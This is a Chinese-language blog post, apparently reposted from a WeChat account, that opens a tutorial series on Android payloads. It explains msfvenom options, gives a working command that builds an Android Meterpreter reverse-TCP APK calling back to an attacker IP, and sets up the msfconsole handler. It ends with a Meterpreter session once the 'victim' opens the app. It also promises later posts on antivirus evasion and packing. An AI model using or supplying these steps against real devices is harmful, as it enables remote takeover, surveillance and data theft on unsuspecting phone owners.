【安卓渗透测试系列教程第一期】如何生成有效载荷

admin 2023年8月6日20:53:50评论19 views字数 3340阅读11分8秒阅读模式

欢迎回来,我的新手黑客


前段时间在群里面看到有人在研究msf,可能因为刚接触,所以感觉学起来比较吃力,所以接下去的准备出一个系列关于安卓渗透测试的教程,大致介绍一些关于安卓APK的有效载荷,免杀,加壳方面的内容


敬请期待,欢迎转发跟同行分享,谢谢




话不多说开始正文,今天我们的教程很简单,即如何生成安卓APK有效载荷?


个人觉得生成安卓APK有效载荷的方式,大致可以分为两类,其中一类为使用一些RAT的框架去生成有效载荷,有些RAT软件是免费的,但也有一些RAT的收费较高,总而言之,门槛不会太高;另一类为使用Kali自带的一些软件去生成有效载荷,比如说metasploit框架中的msfvenom,以及其他的一些自定义的软件去完成,使用该方法有一个比较大的缺点,就是杀毒软件很容易抓取病毒的特征码进行检测,导致这一类有效载荷的面纱效果并不好,所以在拥有有效载荷之后需要对其进行一些面纱处理


那有效载荷如何工作呢?

当Victim执行该有效载荷后,由靶机向攻击发起一个TCP连接,进而获取主机会话,进行渗透测试


那么上面说了这么多,大致介绍了一下有效载荷生成的一些方式和利用方式,那现在我们就一起来看看如何使用metasploit中的msfvenom去生成安卓APK的有效载荷


一句话概括msfvenom:msfvenom 是metasploit框架配套的攻击载荷生成器

在使用msfvenom生成有效载荷之前,我们先来看一下该命令的一些选项用法

Options:    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取        --payload-options            List the payload's standard options # 列出指定 Payload 的标准可选配置项    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)    -f, --format        <format>     Output format (use --help-formats for a list) # 指定 Payload 的输出格式        --help-formats               List available formats # 列出所有可用的输出格式    -e, --encoder       <encoder>    The encoder to use # 指定使用的 Encoder    -a, --arch          <arch>       The architecture to use # 指定目标系统架构        --platform      <platform>   The platform of the payload # 指定目标系统平台        --help-platforms             List available platforms # 列出可用的平台    -s, --space         <length>     The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度    -b, --bad-chars     <list>       The list of characters to avoid example: 'x00xff' # 设置需要在 Payload 中避免出现的字符    -i, --iterations    <count>      The number of times to encode the payload # 设置 Payload 的编码次数    -c, --add-code      <path>       Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件    -x, --template      <path>       Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板    -k, --keep                       Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行    -o, --out           <path>       Save the payload # 保存 Payload 到文件    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats # 指定一个变量名(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)        --smallest                   Generate the smallest possible payload # 尽可能生成最短的 Payload    -h, --help                       Show this message # 帮助

看了以上那么多的选项,会不会觉得有点多?

如果要生成一个有效载荷的话,不管是基于什么平台的有效载荷,都需要用到两个参数,-p和-f,其中-p为指定特定的payload;-f为指定有效载荷(payload)的输出格式


继续来看,-p为指定特送的payload类型,如果不知道有哪里类型呢?我们可以使用一条命令去查看所有可以利用的payload类型,并从中挑选自己想用的

msfvenom -l payload

【安卓渗透测试系列教程第一期】如何生成有效载荷

-f为指定有效载荷的输出格式,那到底有哪一些格式可以使用呢?我们一样可以使用一条命令去查看

msfvenom -l formats

【安卓渗透测试系列教程第一期】如何生成有效载荷

通过上图可以了解到输出格式可以为asp,aspx,elf,当然还可以是exe,jar,c等等,,输出的一些payload类型可以跨平台使用但是我们发现并没有看到apk这样子的格式,这个时候我们使用R参数,也可以直接-o指定输出的文件名,如test.apk




在稍微了解过msfvenom的两个重要参数后,接下来来看看如何使用该程序生成有效载荷

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.196 LPORT=4444 R > android.apk

-p 参数指的是Payload的类型

-LHOST 参数指定的local host,即本地Kali主机的IP地址,就是将TCP会话返回给谁

-LPORT 参数指定的local port,即返回TCP会话使用的本地端口

R参数指定的是生成的文件名和类型

【安卓渗透测试系列教程第一期】如何生成有效载荷

接下来我们稍微了解一下原理

为什么该有效载荷会生效呢?

原因就在于Victim执行Payload文件时,我们Kali主机会收到一个TCP的连接会话

到这边我们就生成了一个安卓APK的有效载荷




最后我们来测试一下该有效载荷是否可用

我们使用msfconsole来设置监听器,需要注意的是设置监听器参数的时候需要和生成Payload文件的参数一样,不然不能返回TCP会话

use exploit/multi/handleset payload android/meterpreter/reverse_tcpset LHOST 192.168.43.126set LPORT 4444

【安卓渗透测试系列教程第一期】如何生成有效载荷

设置完监听器的参数之后,我们使用命令来查看一下监听器的信息

show options

需要确保每个参数都符合你的预期,然后进行监听

exploit

等待用户上线,当用户打开该软件即可上线

【安卓渗透测试系列教程第一期】如何生成有效载荷

这样子我们就获得了一个Meterpreter会话,如何利用该会话将在下期分享中介绍,欢迎关注




原创不易,帮我点点右下角的“在看”吧

【安卓渗透测试系列教程第一期】如何生成有效载荷


原文始发于微信公众号(Kali渗透测试教程):【安卓渗透测试系列教程第一期】如何生成有效载荷

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月6日20:53:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【安卓渗透测试系列教程第一期】如何生成有效载荷http://cn-sec.com/archives/971919.html

发表评论

匿名网友 填写信息